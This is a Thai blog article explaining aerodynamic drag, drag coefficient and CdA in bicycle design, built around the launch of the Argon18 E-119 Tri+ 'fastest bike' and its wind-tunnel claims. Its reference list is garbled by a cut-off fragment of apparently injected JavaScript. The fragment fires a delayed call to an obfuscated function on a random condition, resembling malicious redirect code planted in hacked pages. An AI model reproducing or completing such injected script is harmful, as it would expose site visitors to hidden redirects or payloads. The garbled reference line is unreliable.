จักรยานแอโร่ Aerodynamic และ CDA คืออะไรทำไมใช้พูดกันบ่อยๆ

เมื่อวันที่ 23 พฤศจิกายน 2558 ที่ผ่านมา ณ โรงแรม W Bangkok บริษัท อมรศูนย์รวมอะไหล่อีเล็คโทรนิคส์ จำกัด บริษัทแม่ของ อมร ไบซิเคล เปิดตัวจักรยานที่ได้ชื่อว่า เร็วที่สุดในโลก จากการทดลองในอุโมงค์ลมและ Velo Dome อย่างเป็นทางการ ที่มีชื่อว่า Argon18 E-119 Tri+ เป็นครั้งในเอเชียตะวันออกเฉียงใต้

หลังจากที่ได้เดินสัมผัสบรรยากาศงานเปิดตัว พร้อมทั้งฟังเจ้าหน้าที่บรรยายและสัมภาษณ์…คำถามคือ

1. ทำไม Argon18 E-119 Tri+ สามารถเคลมตัวเองได้ว่ามีความเร็วที่สุดในโลก และประโยคที่ว่า “จากการทดลองในอุโมงค์ลมและ Velo Dome” ทำไมต้องมีพ่วงท้ายมาด้วย
2. ทำไมเค้าพูดกันเต่เรื่อง Aerodynamic และค่า CDA (Coefficient of Drag Area) ทุกครั้งที่มีการเปิดตัวจักรยานใหม่ๆ มันคืออะไร ทำไมจึงมีความสำคัญ
3. สุดท้ายทำไมต้องออกเเบบจักรยานให้เป็นเเบบแอโร่ หรือ จักรยานแอโร่

จะตอบคำถามข้อที่ 1 2 และ 3 คงต้องอธิบายยาวกันหน่อยนะครับ…

“Aerodynamic และ CDA คืออะไรทำไมวงการจักรยานถึงใช้พูดกันบ่อยๆ เจ้า ” Aerodynamic คือ หลักอากาศพลศาสตร์ เป็นการศึกษาว่าก๊าซมีปฏิกิริยาต่อวัตถุเคลื่อนที่อย่างไร ซึ่งก๊าซที่พบมากที่สุดคืออากาศที่เราหายใจนั้นเอง

หลักพลศาสตร์ (Aerodynamic) จะศึกษาการเคลื่อนไหลของอากาศรอบๆ (Flow field) วัตถุเคลื่อนที่ (moving object) ทำให้เราสามารถคำนวนหา แรงกระทำ (Forces) และทิศทางของแรงกระทำ ต่อวัตถุเคลื่อนที่ได้ (movements acting on object)

การศึกษาหลักพลศาสตร์ในยุคแรกๆ สมัยพี่น้องวิลบอร์และออลวินไรท์ จะเน้นในเรื่องอากาศยานมากกว่าจะนำไปประยุกต์ใช้กับวัตถุอื่นๆ จากนั้นในปี 1920 ก็นำมาประยุกต์ใช้กับการดีไซด์รถยนต์ ต่อเนื่องด้วย ตึก สะพาน จักรยานจนถึงลูกฟุตบอลกันทีเดียว

Aerodynamic drag หรือแรงเสียดทานอากาศ แรงดึงอากาศ หรือแรงกระทำทิศตรงกันข้างต่อวัตถุเคลี่นที่ เรียกสั้นๆ ว่า drag เป็นแรงที่หลักพลศาสตร์ต้องการให้มีน้อยที่สุด หากมีมากเครื่องบินจะยกตัวได้ช้า ต้องเร่งความเร็วมากขึ้น ทำให้สิ้นเลืองเชื้อเพลิงมากขึ้นในการยกตัว เช่นเดียวกับรถยนต์ หากมีแรง drag มากจะต้านลม ห้องผู้โดยสารจะมีเสียงดังรบกวนและกินน้ำมันเยอะขึ้น หลักการเดียวกับการออกเเบบจักรยานทำไมต้องออกเเบบเเอโร่ ก็เพราะจะได้ลู่ลม กินเเรงคนปั่นให้น้อยเเละไปได้เร็วเเละนานขึ้นนั้นเอง

ดังนั้นในการออกแบบเครื่องบิน รถยนต์ และจักรยานที่เราปั่นๆ กัน เค้าจึงออกแบบให้ลู่ลมที่สุด เน้นให้มีแรง drag น้อยที่สุด และวิธีวัดหรืออธิบายค่าแรงเสียดทานที่กระทำต่อพื้นผิวนั้น จะใช้ค่าที่เรียกว่า drag coefficient (c_d) ยิ่งค่าน้อยยิ่งมีความเป็น aerodynamic สูง ลมเคลื่อนที่ผ่านได้เร็ว มีแรงเสีดทานน้อย

แต่ใช่ว่าค่า C_d จะขึ้นอยู่กับรูปร่าง (shape) อย่างเดียว ยังมีตัวแปรอื่นๆ ด้วยอย่างเช่น ความเร็วและลักษณะพื้นผิวของวัถตุ ความหนาแน่นของอากาศ การไหลของการอากาศในตอนนั้นเป็นอย่างไร ไหลแบบ smooth (ไหลนิ่ง) หรือ Turbulent (แปรปร่วน)

แรงอื่นๆ ที่มีผลต่อการเพิ่มลดแรง Drag อย่างเช่น แรงดันอากาศ (air pressure) บริเวณพื้นที่กระทบ ถัดจากพื้นที่กระทบก็มีแรงเสียดทานด้านข้างของวัตถุเคลื่อนที่ ซึ่งแรงเหล่านี้มีผลด้านลบค่อยฉุดรั่งให้การเคลื่อนที่ช้าลง

ตัวอย่างค่า drag coefficient ที่อาจจะทำให้เราเห็นภาพชัดขึ้น เช่น

ลูกบาศก์สี่เหลี่ยม (Cube) มีค่า drag coefficient = 1
ลูกบาศก์ทรงกลม (sphere) มีค่า drag coefficient = 0.5
วัตถุทรงหยดน้ำ (tear drop) มีค่า drag coefficient = 0.05
รถยนต์สมัยใหม่จะมีค่า drag coefficient = 0.25-0.35
เครื่องบินมีค่า drag coefficient = 0.03

ซึ้งการคำนวนค่า drag coefficient มักจะใช้ computer simulation หรือทดลองใน wind tunnel เรียกว่าควบคุมค่าตัวแปรอื่นๆ ให้คงที่และโฟกัสหาค่า drag coefficient ตรงวัตถุเป้าหมายอย่างเดียว

สมมุติว่าเราสร้างจักรยานทรงเเอโร่ (ลู่ลม) A ขึ้นมา และอยากรู้ว่าดีไซด์รูปแบบของจักรยาน A นี้เร็วมั้ย เคลื่อนที่ผ่านอากาศได้ดีมั้ย ก็จะนำเอาโมเดลที่ร่างไว้เข้าคอมให้โปรแกรมคำนวนดู หรือสร้างโมเดลจำลองจริงเข้าอุโมงค์ลม ถ้าค่า drag coefficient น้อยแสดงว่าวัตถุนั้นจะเคลื่อนที่ผ่านอากาศได้ดี มีแรงเสียดทานน้อย หรือสามารถทำความเร็วได้ดี

แต่ถ้าถามว่าทำไมไม่เอาไปวัดข้างนอกหรือ Outdoor เลยละ…คำตอบคือ เพราะข้างนอกมีความดันอากาศ ความเร็วลม ทิศทางลมต่างกันมาก เราไม่สามารถรู้ได้ว่ามาจากทางไหน ทำให้การวัดมีค่าตัวแปรที่เยอะ ยากต่อการคำนวน หรือคำนวนไม่ได้เลย

แต่ถ้าวัดในอุโมงค์ลม เราจะวัดได้แน่นอนเพราะกำหนดและควบคุมค่าต่างๆ ได้ และเซตให้เป็นค่ามาตรฐานในการวัดครั้งต่อๆ ไปด้วย เมื่อมียี่ห้อจักรยาน B มาวัดเหมือนเรา ใช้ค่าตัวแปร ทิศทางลม แรงดันลมเหมือนๆ กันถ้าทำได้ดีกว่าจักรยาน A มีค่า drag coefficient ที่น้อยกว่า นั้นแสดงว่าจักรยาน B เร็วกว่า A

แต่ๆ ห้องทดลองอุโมงค์ลม หรือแม้แต่โปรแกรมวัด Aerodynamic ก็มีอยู่หลายที่หลายแบบ ผู้อ่านคิดว่ามันจะมีมาตรฐานเดียวกันมั้ย…ลองคิดดูนะครับ เอาละเรามาดูว่าทำไม่เจ้า Argon18 E-119 Tri+ จึงสามารถเคลมตัวเองได้ว่าเร็วที่สุด

จากตาราง Fact sheet บริษัท Argon18 แสดงให้ดูว่า เมื่อเข้าห้องทดลองให้ลมวิ่งผ่านและวัดค่า Cd หรือว่าที่ Argon18 เค้าเรียก CDA ก็ได้ ออกมา ตามมุมองศาต่างๆ เมื่อเฉลี่ยแล้วจะให้ค่าที่น้อยกว่าคู่แข่งมาก ให้ดูเส้นเขียวนะครับ นี้เป็นสาเหตุให้ Argon18 สามารถเคลมได้ว่าตัวเองเร็วที่สุดนะ เเต่ต้องอยู่ในห้องทดลอง

ค่า Yaw คือค่า wind Angle หรือ มุมองศาลมครับ จะหมุนที่ปล่อยลมหรือเคลื่อนตัววัตถุ(จักรยาน) ก้ได้ ใช้วัดค่า Cd ในขณะที่ลมปะทะตามจุดต่างๆ

ลองไปดูคลิปแนะนำการทดลอง Aerodynamic ดูกันครับ

เจ้า Wind Tunnel หรืออุโมงค์ลม นอกจากใช้ทำการทดสอบความเป็น Aerodynamic ของวัตถุเเล้ว ยังใช้ในการฝึกซ้อมให้กับเหล่านักปั่น TT ด้วย ทั้งการจัดท่าให้อยู่ในทรง Aerodynamic และการสลับเปลี่ยนอุปกรณ์ให้ลู่ลมมากที่สุด ซึ่งเต่ละทีมเเข่งต่างใช้บริการอุโมงค์ลมด้วยกันทั้งสิ้น

อย่างเช่นทีม BMC ให้นักปั่น TT มาทำการ Bike fitting เซตท่าปั่น อุปกรณ์ใหม่ทั้งหมดเพื่อให้เเอโร่มาที่สุด

ทีมของ Merida เองก็มีการเซตในอุโมงค์ลมเช่นกัน

วงการจักรยานและอุโมงค์ลมดูเหมือนจะเเยกกันไม่ออก ทุกครั้งที่มีการออกตัวจักรยานใหม่ๆ มักจะใช้ข้อมูลทางพลศาสตร์มายืนยันกัน ยี่ห้อต่างๆ พยายามออกเเบบจักรยานเเอโร่ ทำสินค้าตัวเองให้มี Aerodynamic มากที่สุด มีค่า CDA น้อยที่สุด นั้นหมายความว่ามันจะเร็วที่สุดในห้องทดลอง เเต่อย่างไรก็ตามรถจะไปได้เร็วเเค่ไหนก็ขึ้นอยู่กับผู้ปั่นเป็นที่สุด

อ้างอิง

http://www.autodeft.com/tiptechnic/aero-dynamic

andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-ai-4-triathlon.html”>t3multisport.blogspot.com

www.bikerumor.com

http://www.livescience.com/47930-what-is-aerodynamics.html